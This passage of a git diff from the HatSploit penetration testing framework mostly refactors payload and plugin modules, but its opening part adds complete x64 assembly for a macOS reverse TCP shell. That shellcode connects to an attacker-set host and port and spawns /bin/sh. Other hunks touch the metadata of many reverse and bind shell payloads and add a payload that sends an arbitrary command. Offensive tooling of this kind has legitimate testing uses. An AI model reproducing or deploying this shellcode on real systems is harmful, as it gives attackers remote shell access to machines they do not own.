+            'Name': "macOS x64 Shell Reverse TCP",
+            'Payload': "macos/x64/shell_reverse_tcp",
+            'Authors': [
+                'Ivan Nikolskiy (enty8080) - payload developer',
+            ],
+            'Description': "Shell reverse TCP payload for macOS x64.",
+            'Arch': ARCH_X64,
+            'Platform': OS_MACOS,
+            'Type': REVERSE_TCP,
+        })
+
+    def run(self):
+        return self.assemble(
+            f"""
+            start:
+                xor rdi, rdi
+                mul rdi
+                mov dil, 0x2
+                xor rsi, rsi
+                mov sil, 0x1
+                mov al, 0x2
+                ror rax, 0x28
+                mov r8, rax
+                mov al, 0x61
+                syscall
+
+                mov rsi, 0x{self.rhost.little.hex()}{self.rport.little.hex()}020f
+                push rsi
+                push rsp
+                pop rsi
+                mov rdi, rax
+                xor dl, 0x10
+                mov rax, r8
+                mov al, 0x62
+                syscall
+
+                xor rsi, rsi
+                mov sil, 0x3
+
+            dup:
+                mov rax, r8
+                mov al, 0x5a
+                sub sil, 1
+                syscall
+
+                test rsi, rsi
+                jne dup
+
+                push rsi
+                mov rdi, 0x68732f6e69622f2f
+                push rdi
+                push rsp
+                pop rdi
+                xor rdx, rdx
+                mov rax, r8
+                mov al, 0x3b
+                syscall
+            """
+        )
diff --git a/hatsploit/payloads/unix/generic/bash_reverse_tcp.py b/hatsploit/payloads/single/unix/generic/bash_reverse_tcp.py
similarity index 82%
rename from hatsploit/payloads/unix/generic/bash_reverse_tcp.py
rename to hatsploit/payloads/single/unix/generic/bash_reverse_tcp.py
index cd32c8c2b..67de93290 100755
--- a/hatsploit/payloads/unix/generic/bash_reverse_tcp.py
+++ b/hatsploit/payloads/single/unix/generic/bash_reverse_tcp.py
@@ -5,14 +5,12 @@
 
 import random
 
-from hatsploit.lib.payload.basic import *
+from hatsploit.lib.core.payload.basic import *
 
 
 class HatSploitPayload(Payload, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "BASH Shell Reverse TCP",
             'Payload': "unix/generic/bash_reverse_tcp",
             'Authors': [
@@ -21,8 +19,7 @@ def __init__(self):
             'Description': "BASH shell reverse TCP payload.",
             'Arch': ARCH_GENERIC,
             'Platform': OS_UNIX,
-            'Rank': "high",
-            'Type': "reverse_tcp",
+            'Type': REVERSE_TCP,
         })
 
     def run(self):
diff --git a/hatsploit/payloads/unix/generic/reboot.py b/hatsploit/payloads/single/unix/generic/custom.py
similarity index 52%
rename from hatsploit/payloads/unix/generic/reboot.py
rename to hatsploit/payloads/single/unix/generic/custom.py
index aecdd9416..43bf3b5f2 100755
--- a/hatsploit/payloads/unix/generic/reboot.py
+++ b/hatsploit/payloads/single/unix/generic/custom.py
@@ -3,25 +3,24 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
+from hatsploit.lib.core.payload.basic import *
 
 
 class HatSploitPayload(Payload):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Name': "Unix Reboot",
-            'Payload': "unix/generic/reboot",
+        super().__init__({
+            'Name': "Unix Custom Command",
+            'Payload': "unix/generic/custom",
             'Authors': [
                 'Ivan Nikolskiy (enty8080) - payload developer',
             ],
-            'Description': "Reboot payload for unix.",
+            'Description': "Send custom command.",
             'Arch': ARCH_GENERIC,
             'Platform': OS_UNIX,
-            'Rank': "low",
-            'Type': "one_side",
+            'Type': ONE_SIDE,
         })
 
+        self.command = Option('CMD', None, 'Command to send', True)
+
     def run(self):
-        return "reboot"
+        return self.command
diff --git a/hatsploit/payloads/unix/generic/ksh_reverse_tcp.py b/hatsploit/payloads/single/unix/generic/ksh_reverse_tcp.py
similarity index 80%
rename from hatsploit/payloads/unix/generic/ksh_reverse_tcp.py
rename to hatsploit/payloads/single/unix/generic/ksh_reverse_tcp.py
index fd9fa9f04..7e6253d35 100755
--- a/hatsploit/payloads/unix/generic/ksh_reverse_tcp.py
+++ b/hatsploit/payloads/single/unix/generic/ksh_reverse_tcp.py
@@ -3,14 +3,12 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
+from hatsploit.lib.core.payload.basic import *
 
 
 class HatSploitPayload(Payload, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "KSH shell Reverse TCP",
             'Payload': "unix/generic/ksh_reverse_tcp",
             'Authors': [
@@ -19,8 +17,7 @@ def __init__(self):
             'Description': "KSH shell reverse TCP payload.",
             'Arch': ARCH_GENERIC,
             'Platform': OS_UNIX,
-            'Rank': "high",
-            'Type': "reverse_tcp",
+            'Type': REVERSE_TCP,
         })
 
     def run(self):
diff --git a/hatsploit/payloads/unix/generic/netcat_reverse_tcp.py b/hatsploit/payloads/single/unix/generic/netcat_reverse_tcp.py
similarity index 83%
rename from hatsploit/payloads/unix/generic/netcat_reverse_tcp.py
rename to hatsploit/payloads/single/unix/generic/netcat_reverse_tcp.py
index 40ce25f32..fbb934120 100755
--- a/hatsploit/payloads/unix/generic/netcat_reverse_tcp.py
+++ b/hatsploit/payloads/single/unix/generic/netcat_reverse_tcp.py
@@ -3,15 +3,13 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
+from hatsploit.lib.core.payload.basic import *
 from pex.string import String
 
 
 class HatSploitPayload(Payload, Handler, String):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Netcat Shell Reverse TCP",
             'Payload': "unix/generic/netcat_reverse_tcp",
             'Authors': [
@@ -20,8 +18,7 @@ def __init__(self):
             'Description': "Netcat shell reverse TCP payload.",
             'Arch': ARCH_GENERIC,
             'Platform': OS_UNIX,
-            'Rank': "high",
-            'Type': "reverse_tcp",
+            'Type': REVERSE_TCP,
         })
 
     def run(self):
diff --git a/hatsploit/payloads/unix/generic/netcate_reverse_tcp.py b/hatsploit/payloads/single/unix/generic/netcate_reverse_tcp.py
similarity index 80%
rename from hatsploit/payloads/unix/generic/netcate_reverse_tcp.py
rename to hatsploit/payloads/single/unix/generic/netcate_reverse_tcp.py
index 273e22260..a1e7b2041 100755
--- a/hatsploit/payloads/unix/generic/netcate_reverse_tcp.py
+++ b/hatsploit/payloads/single/unix/generic/netcate_reverse_tcp.py
@@ -3,14 +3,12 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
+from hatsploit.lib.core.payload.basic import *
 
 
 class HatSploitPayload(Payload, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Netcat (-e) Shell Reverse TCP",
             'Payload': "unix/generic/netcate_reverse_tcp",
             'Authors': [
@@ -19,8 +17,7 @@ def __init__(self):
             'Description': "Netcat (-e) shell reverse TCP payload.",
             'Arch': ARCH_GENERIC,
             'Platform': OS_UNIX,
-            'Rank': "high",
-            'Type': "reverse_tcp",
+            'Type': REVERSE_TCP,
         })
 
     def run(self):
diff --git a/hatsploit/payloads/unix/generic/perl_reverse_tcp.py b/hatsploit/payloads/single/unix/generic/perl_reverse_tcp.py
similarity index 85%
rename from hatsploit/payloads/unix/generic/perl_reverse_tcp.py
rename to hatsploit/payloads/single/unix/generic/perl_reverse_tcp.py
index 9c881853b..3e5990715 100755
--- a/hatsploit/payloads/unix/generic/perl_reverse_tcp.py
+++ b/hatsploit/payloads/single/unix/generic/perl_reverse_tcp.py
@@ -3,14 +3,12 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
+from hatsploit.lib.core.payload.basic import *
 
 
 class HatSploitPayload(Payload, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Perl Shell Reverse TCP",
             'Payload': "unix/generic/perl_reverse_tcp",
             'Authors': [
@@ -19,8 +17,7 @@ def __init__(self):
             'Description': "Perl shell reverse TCP payload.",
             'Arch': ARCH_GENERIC,
             'Platform': OS_UNIX,
-            'Rank': "high",
-            'Type': "reverse_tcp",
+            'Type': REVERSE_TCP,
         })
 
     def run(self):
diff --git a/hatsploit/payloads/unix/generic/php_reverse_tcp.py b/hatsploit/payloads/single/unix/generic/php_reverse_tcp.py
similarity index 83%
rename from hatsploit/payloads/unix/generic/php_reverse_tcp.py
rename to hatsploit/payloads/single/unix/generic/php_reverse_tcp.py
index 9193d063c..e29908d89 100755
--- a/hatsploit/payloads/unix/generic/php_reverse_tcp.py
+++ b/hatsploit/payloads/single/unix/generic/php_reverse_tcp.py
@@ -3,14 +3,12 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
+from hatsploit.lib.core.payload.basic import *
 
 
 class HatSploitPayload(Payload, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "PHP Shell Reverse TCP",
             'Payload': "unix/generic/php_reverse_tcp",
             'Authors': [
@@ -19,8 +17,7 @@ def __init__(self):
             'Description': "PHP shell reverse TCP payload.",
             'Arch': ARCH_GENERIC,
             'Platform': OS_UNIX,
-            'Rank': "high",
-            'Type': "reverse_tcp",
+            'Type': REVERSE_TCP,
         })
 
     def run(self):
diff --git a/hatsploit/payloads/unix/generic/ruby_reverse_tcp.py b/hatsploit/payloads/single/unix/generic/ruby_reverse_tcp.py
similarity index 84%
rename from hatsploit/payloads/unix/generic/ruby_reverse_tcp.py
rename to hatsploit/payloads/single/unix/generic/ruby_reverse_tcp.py
index c2eee83a6..5acc22fb9 100755
--- a/hatsploit/payloads/unix/generic/ruby_reverse_tcp.py
+++ b/hatsploit/payloads/single/unix/generic/ruby_reverse_tcp.py
@@ -3,14 +3,12 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
+from hatsploit.lib.core.payload.basic import *
 
 
 class HatSploitPayload(Payload, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Ruby Shell Reverse TCP",
             'Payload': "unix/generic/ruby_reverse_tcp",
             'Authors': [
@@ -19,8 +17,7 @@ def __init__(self):
             'Description': "Ruby shell reverse TCP payload.",
             'Arch': ARCH_GENERIC,
             'Platform': OS_UNIX,
-            'Rank': "high",
-            'Type': "reverse_tcp",
+            'Type': REVERSE_TCP,
         })
 
     def run(self):
diff --git a/hatsploit/payloads/unix/generic/zsh_bind_tcp.py b/hatsploit/payloads/single/unix/generic/zsh_bind_tcp.py
similarity index 81%
rename from hatsploit/payloads/unix/generic/zsh_bind_tcp.py
rename to hatsploit/payloads/single/unix/generic/zsh_bind_tcp.py
index 4ee49cb8d..0c971b44e 100755
--- a/hatsploit/payloads/unix/generic/zsh_bind_tcp.py
+++ b/hatsploit/payloads/single/unix/generic/zsh_bind_tcp.py
@@ -3,14 +3,12 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
+from hatsploit.lib.core.payload.basic import *
 
 
 class HatSploitPayload(Payload, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "ZSH shell Bind TCP",
             'Payload': "unix/generic/zsh_bind_tcp",
             'Authors': [
@@ -19,8 +17,7 @@ def __init__(self):
             'Description': "ZSH shell bind TCP payload.",
             'Arch': ARCH_GENERIC,
             'Platform': OS_UNIX,
-            'Rank': "high",
-            'Type': "bind_tcp",
+            'Type': BIND_TCP,
         })
 
     def run(self):
diff --git a/hatsploit/payloads/unix/generic/zsh_reverse_tcp.py b/hatsploit/payloads/single/unix/generic/zsh_reverse_tcp.py
similarity index 81%
rename from hatsploit/payloads/unix/generic/zsh_reverse_tcp.py
rename to hatsploit/payloads/single/unix/generic/zsh_reverse_tcp.py
index cc4c12da7..7495447d2 100755
--- a/hatsploit/payloads/unix/generic/zsh_reverse_tcp.py
+++ b/hatsploit/payloads/single/unix/generic/zsh_reverse_tcp.py
@@ -3,14 +3,12 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
+from hatsploit.lib.core.payload.basic import *
 
 
 class HatSploitPayload(Payload, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "ZSH shell Reverse TCP",
             'Payload': "unix/generic/zsh_reverse_tcp",
             'Authors': [
@@ -19,8 +17,7 @@ def __init__(self):
             'Description': "ZSH shell reverse TCP payload.",
             'Arch': ARCH_GENERIC,
             'Platform': OS_UNIX,
-            'Rank': "high",
-            'Type': "reverse_tcp",
+            'Type': REVERSE_TCP,
         })
 
     def run(self):
diff --git a/hatsploit/payloads/windows/generic/calc.py b/hatsploit/payloads/single/windows/generic/calc.py
similarity index 77%
rename from hatsploit/payloads/windows/generic/calc.py
rename to hatsploit/payloads/single/windows/generic/calc.py
index 80f883073..1995a52ac 100755
--- a/hatsploit/payloads/windows/generic/calc.py
+++ b/hatsploit/payloads/single/windows/generic/calc.py
@@ -3,14 +3,12 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
+from hatsploit.lib.core.payload.basic import *
 
 
 class HatSploitPayload(Payload):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Windows Calculator",
             'Payload': "windows/generic/calc",
             'Authors': [
@@ -19,8 +17,7 @@ def __init__(self):
             'Description': "Windows calc.exe payload.",
             'Arch': ARCH_GENERIC,
             'Platform': OS_WINDOWS,
-            'Rank': "high",
-            'Type': "one_side",
+            'Type': ONE_SIDE,
         })
 
     def run(self):
diff --git a/hatsploit/payloads/windows/generic/message_box.py b/hatsploit/payloads/single/windows/generic/message_box.py
similarity index 77%
rename from hatsploit/payloads/windows/generic/message_box.py
rename to hatsploit/payloads/single/windows/generic/message_box.py
index ee89ed3b1..6f304e295 100755
--- a/hatsploit/payloads/windows/generic/message_box.py
+++ b/hatsploit/payloads/single/windows/generic/message_box.py
@@ -3,14 +3,12 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
+from hatsploit.lib.core.payload.basic import *
 
 
 class HatSploitPayload(Payload):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Windows Message Box",
             'Payload': "windows/generic/message_box",
             'Authors': [
@@ -19,11 +17,10 @@ def __init__(self):
             'Description': "Message Box payload for Windows.",
             'Arch': ARCH_GENERIC,
             'Platform': OS_WINDOWS,
-            'Rank': "low",
-            'Type': "one_side",
+            'Type': ONE_SIDE,
         })
 
-        self.message = Option("Hello, HatSploit!", "Message to show.", True)
+        self.message = Option('MSG', "Hello, HatSploit!", "Message to show.", True)
 
     def run(self):
         source = (
diff --git a/hatsploit/payloads/windows/generic/powershell_reverse_tcp.py b/hatsploit/payloads/single/windows/generic/powershell_reverse_tcp.py
similarity index 95%
rename from hatsploit/payloads/windows/generic/powershell_reverse_tcp.py
rename to hatsploit/payloads/single/windows/generic/powershell_reverse_tcp.py
index ca7e8083a..985707ba5 100755
--- a/hatsploit/payloads/windows/generic/powershell_reverse_tcp.py
+++ b/hatsploit/payloads/single/windows/generic/powershell_reverse_tcp.py
@@ -3,14 +3,12 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
+from hatsploit.lib.core.payload.basic import *
 
 
 class HatSploitPayload(Payload, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Windows PowerShell Reverse TCP",
             'Payload': "windows/generic/powershell_reverse_tcp",
             'Authors': [
@@ -19,8 +17,7 @@ def __init__(self):
             'Description': "Windows cmd.exe reverse TCP payload through PowerShell script.",
             'Arch': ARCH_GENERIC,
             'Platform': OS_WINDOWS,
-            'Rank': "high",
-            'Type': "reverse_tcp",
+            'Type': REVERSE_TCP,
         })
 
     def run(self):
diff --git a/hatsploit/payloads/windows/generic/say.py b/hatsploit/payloads/single/windows/generic/say.py
similarity index 77%
rename from hatsploit/payloads/windows/generic/say.py
rename to hatsploit/payloads/single/windows/generic/say.py
index a8bd0906d..4e48246fe 100755
--- a/hatsploit/payloads/windows/generic/say.py
+++ b/hatsploit/payloads/single/windows/generic/say.py
@@ -3,14 +3,12 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
+from hatsploit.lib.core.payload.basic import *
 
 
 class HatSploitPayload(Payload):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Windows Say",
             'Payload': "windows/generic/say",
             'Authors': [
@@ -19,11 +17,10 @@ def __init__(self):
             'Description': "Say payload for Windows.",
             'Arch': ARCH_GENERIC,
             'Platform': OS_WINDOWS,
-            'Rank': "low",
-            'Type': "one_side",
+            'Type': ONE_SIDE,
         })
 
-        self.message = Option("Hello, HatSploit!", "Message to show.", True)
+        self.message = Option('MSG', "Hello, HatSploit!", "Message to show.", True)
 
     def run(self):
         source = (
diff --git a/hatsploit/payloads/windows/x64/shell_reverse_tcp.py b/hatsploit/payloads/single/windows/x64/shell_reverse_tcp.py
similarity index 93%
rename from hatsploit/payloads/windows/x64/shell_reverse_tcp.py
rename to hatsploit/payloads/single/windows/x64/shell_reverse_tcp.py
index 9b19433c8..051544f89 100755
--- a/hatsploit/payloads/windows/x64/shell_reverse_tcp.py
+++ b/hatsploit/payloads/single/windows/x64/shell_reverse_tcp.py
@@ -3,15 +3,12 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
-from pex.socket import Socket
+from hatsploit.lib.core.payload.basic import *
 
 
-class HatSploitPayload(Payload, Handler, Socket):
+class HatSploitPayload(Payload, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Windows x64 Shell Reverse TCP",
             'Payload': "windows/x64/shell_reverse_tcp",
             'Authors': [
@@ -20,8 +17,7 @@ def __init__(self):
             'Description': "Reverse shell TCP payload for Windows x64.",
             'Arch': ARCH_X64,
             'Platform': OS_WINDOWS,
-            'Rank': "low",
-            'Type': "reverse_tcp",
+            'Type': REVERSE_TCP,
         })
 
     def run(self):
diff --git a/hatsploit/payloads/windows/x86/shell_reverse_tcp.py b/hatsploit/payloads/windows/x86/shell_reverse_tcp.py
deleted file mode 100755
index e367e6b82..000000000
--- a/hatsploit/payloads/windows/x86/shell_reverse_tcp.py
+++ /dev/null
@@ -1,28 +0,0 @@
-"""
-This payload requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.payload.basic import *
-from pex.socket import Socket
-
-
-class HatSploitPayload(Payload, Handler, Socket):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Name': "Windows x86 Shell Reverse TCP",
-            'Payload': "windows/x86/shell_reverse_tcp",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - payload developer',
-            ],
-            'Description': "Reverse shell TCP payload for Windows x86.",
-            'Arch': ARCH_X64,
-            'Platform': OS_WINDOWS,
-            'Rank': "low",
-            'Type': "reverse_tcp",
-        })
-
-    def run(self):
-        return b""
diff --git a/hatsploit/plugins/cowsay.py b/hatsploit/plugins/cowsay.py
index f123c3067..69614aab4 100755
--- a/hatsploit/plugins/cowsay.py
+++ b/hatsploit/plugins/cowsay.py
@@ -5,14 +5,12 @@
 
 import textwrap
 
-from hatsploit.lib.plugin import Plugin
+from hatsploit.lib.core.plugin import Plugin
 
 
 class HatSploitPlugin(Plugin):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "HatSploit Cowsay Implementation",
             'Plugin': "cowsay",
             'Authors': [
@@ -21,15 +19,13 @@ def __init__(self):
             'Description': "Cowsay plugin for HatSploit.",
         })
 
-        self.commands = {
+        self.commands.update({
             'cowsay': {
-                'cowsay': {
-                    'Description': "Ask cow to say message.",
-                    'Usage': "cowsay <message>",
-                    'MinArgs': 1,
-                }
+                'Description': "Ask cow to say message.",
+                'Usage': "cowsay <message>",
+                'MinArgs': 1,
             }
-        }
+        })
 
     def ask_cow(self, message, length=40):
         return self.build_bubble(message, length) + self.build_cow()
@@ -47,9 +43,9 @@ def get_border(lines, index):
     @staticmethod
     def build_cow():
         return """
-         \   ^__^ 
-          \  (oo)\_______
-             (__)\       )\/\\
+         \\   ^__^ 
+          \\  (oo)\\_______
+             (__)\\       )\\/\\
                  ||----w |
                  ||     ||
         """
@@ -71,14 +67,10 @@ def build_bubble(self, message, length=40):
         bubble.append(" --" + "-" * bordersize)
         return "\n".join(bubble)
 
-    def cowsay(self, _, argv):
-        message = argv[1]
-        cow = self.ask_cow(message, len(message))
+    def cowsay(self, args):
+        cow = self.ask_cow(args[1], len(args[1]))
         self.print_empty(cow)
 
     def load(self):
-        message = "Cow here, moo!"
-        cow = self.ask_cow(message, len(message))
-        self.print_empty(cow)
-
+        self.cowsay(["cowsay", "Cow here, moo!"])
         self.print_information("Use %greencowsay%end to call me.")
diff --git a/hatsploit/plugins/ngrok.py b/hatsploit/plugins/ngrok.py
index 25ea563e2..9f89fa9b2 100755
--- a/hatsploit/plugins/ngrok.py
+++ b/hatsploit/plugins/ngrok.py
@@ -6,17 +6,12 @@
 import socket
 from pyngrok import ngrok
 
-from hatsploit.lib.plugin import Plugin
+from hatsploit.lib.core.plugin import Plugin
 
 
 class HatSploitPlugin(Plugin):
     def __init__(self):
-        super().__init__()
-
-        self.tunnels = []
-        self.handler = ngrok
-
-        self.details.update({
+        super().__init__({
             'Name': "HatSploit Ngrok Implementation",
             'Plugin': "ngrok",
             'Authors': [
@@ -25,21 +20,22 @@ def __init__(self):
             'Description': "Manage ngrok service right from HatSploit.",
         })
 
-        self.commands = {
+        self.commands.update({
             'ngrok': {
-                'ngrok': {
-                    'Description': "Manage ngrok service.",
-                    'Usage': "ngrok <option> [arguments]",
-                    'MinArgs': 1,
-                    'Options': {
-                        '-l': ['', "List all active tunnels."],
-                        '-o': ['<port>', "Open tunnel for specified port."],
-                        '-c': ['<id>', "Close specified tunnel."],
-                        '-a': ['<token>', "Authenticate ngrok API token."],
-                    },
-                }
+                'Description': "Manage ngrok service.",
+                'Usage': "ngrok <option> [arguments]",
+                'MinArgs': 1,
+                'Options': {
+                    '-l': ['', "List all active tunnels."],
+                    '-o': ['<port>', "Open tunnel for specified port."],
+                    '-c': ['<id>', "Close specified tunnel."],
+                    '-a': ['<token>', "Authenticate ngrok API token."],
+                },
             }
-        }
+        })
+
+        self.tunnels = []
+        self.handler = ngrok
 
     @staticmethod
     def parse_tunnel(tunnel):
@@ -50,34 +46,35 @@ def parse_tunnel(tunnel):
 
         return host, port
 
-    def ngrok(self, _, argv):
-        if argv[1] in ['-o', '--open']:
+    def ngrok(self, args):
+        if args[1] in ['-o', '--open']:
             try:
-                self.print_process(f"Opening tunnel for port {argv[2]}...")
+                self.print_process(f"Opening tunnel for port {args[2]}...")
 
-                tunnel = self.handler.connect(int(argv[2]), "tcp")
+                tunnel = self.handler.connect(int(args[2]), "tcp")
                 data = self.parse_tunnel(tunnel)
 
-                route = f"127.0.0.1:{argv[2]} -> {data[0]}:{data[1]}"
+                route = f"127.0.0.1:{args[2]} -> {data[0]}:{data[1]}"
 
                 self.print_success(f"Tunnel opened ({route})!")
                 self.tunnels.append([route, tunnel])
             except Exception:
-                self.print_error(f"Failed to open tunnel port {argv[2]}!")
+                self.print_error(f"Failed to open tunnel port {args[2]}!")
 
-        elif argv[1] in ['-a', '--auth']:
-            self.handler.set_auth_token(argv[2])
+        elif args[1] in ['-a', '--auth']:
+            self.handler.set_auth_token(args[2])
 
-        elif argv[1] in ['-c', '--close']:
+        elif args[1] in ['-c', '--close']:
             try:
-                self.print_process(f"Closing tunnel {argv[2]}...")
+                self.print_process(f"Closing tunnel {args[2]}...")
+
+                self.handler.disconnect(self.tunnels[int(args[2])][1])
+                self.tunnels.pop(int(args[2]))
 
-                self.handler.disconnect(self.tunnels[int(argv[2])][1])
-                self.tunnels.pop(int(argv[2]))
             except Exception:
                 self.print_error(f"Invalid tunnel given!")
 
-        elif argv[1] in ['-l', '--list']:
+        elif args[1] in ['-l', '--list']:
             headers = ('ID', 'Connection')
 
             tunnel_id = 0
diff --git a/setup.py b/setup.py
index 51c54be6a..10c541d2f 100755
--- a/setup.py
+++ b/setup.py
@@ -44,19 +44,14 @@
           'impacket',
           'packaging',
           'pyyaml',
-          'requests',
-          'paramiko',
-          'adb-shell',
           'flask',
           'flask_cors',
           'flask_restful',
           'pyngrok',
           'jsonrpclib',
           'hatasm @ git+https://github.com/EntySec/HatAsm',
-          'hatvenom @ git+https://github.com/EntySec/HatVenom',
           'pex @ git+https://github.com/EntySec/Pex',
           'colorscript @ git+https://github.com/EntySec/ColorScript',
-          'pawn @ git+https://github.com/EntySec/Pawn',
           'pwny @ git+https://github.com/EntySec/Pwny',
       ],
       zip_safe=False,